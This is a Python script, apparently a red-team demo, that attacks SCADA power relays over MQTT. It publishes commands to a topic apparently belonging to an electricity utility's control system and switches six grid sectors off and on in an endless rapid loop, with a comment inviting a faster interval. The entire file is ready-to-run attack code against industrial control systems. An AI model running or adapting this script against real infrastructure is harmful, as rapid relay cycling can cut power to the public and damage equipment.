#!/usr/bin/env python3 import time import sys import paho.mqtt.publish as publish BROKER = '192.168.1.61' PORT = 1883 TOPIC = 'pln/scada/kontrol' INTERVAL = 0.8 # detik antar perintah (turunkan untuk lebih cepat) RELAY_COMMANDS = [ ('mati_sector_a1', 'nyala_sector_a1'), ('mati_sector_a2', 'nyala_sector_a2'), ('mati_sector_b1', 'nyala_sector_b1'), ('mati_sector_b2', 'nyala_sector_b2'), ('mati_sector_c1', 'nyala_sector_c1'), ('mati_sector_c2', 'nyala_sector_c2'), ] RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' CYAN = '\033[96m' BOLD = '\033[1m' RESET = '\033[0m' def send(cmd: str) -> None: publish.single(TOPIC, payload=cmd, hostname=BROKER, port=PORT, qos=1) def banner() -> None: print(f""" {RED}{BOLD}╔══════════════════════════════════════════════════╗ ║ SCADA RELAY BLINK ATTACK — RED TEAM DEMO ║ ║ Broker : {BROKER}:{PORT:<24} ║ ║ Topic : {TOPIC:<38} ║ ╚══════════════════════════════════════════════════╝{RESET} {YELLOW}Tekan Ctrl+C untuk berhenti dan pulihkan semua relay.{RESET} """) def blink_loop() -> None: cycle = 0 phase = False # False = mati, True = nyala while True: cycle += 1 label = f"{GREEN}NYALA{RESET}" if phase else f"{RED}MATI {RESET}" print(f"{CYAN}[Siklus {cycle:04d}]{RESET} Mengirim {BOLD}{label}{RESET} ke semua relay...", end=' ', flush=True) # Kirim ke semua sub-blok satu per satu dengan jeda kecil sent = 0 for mati_cmd, nyala_cmd in RELAY_COMMANDS: cmd = nyala_cmd if phase else mati_cmd try: send(cmd) sent += 1 except Exception as e: print(f"\n{RED}[ERR] {cmd}: {e}{RESET}") print(f"✓ {sent}/{len(RELAY_COMMANDS)} relay", flush=True) phase = not phase time.sleep(INTERVAL) def restore_all() -> None: print(f"\n{YELLOW}[*] Memulihkan semua relay (pemulihan_total)...{RESET}") try: send('pemulihan_total') print(f"{GREEN}[✓] Semua relay kembali NYALA.{RESET}") except Exception as e: print(f"{RED}[ERR] Gagal memulihkan: {e}{RESET}") if __name__ == '__main__': banner() # Test koneksi awal print(f"[*] Menghubungkan ke broker {BROKER}:{PORT}...") try: send('pemulihan_total') print(f"{GREEN}[✓] Koneksi berhasil. Memulai serangan blink...{RESET}\n") except Exception as e: print(f"{RED}[✗] Gagal terhubung ke broker: {e}{RESET}") print(f" Pastikan broker MQTT aktif di {BROKER}:{PORT}") sys.exit(1) try: blink_loop() except KeyboardInterrupt: restore_all() print(f"\n{CYAN}[*] Selesai.{RESET}\n")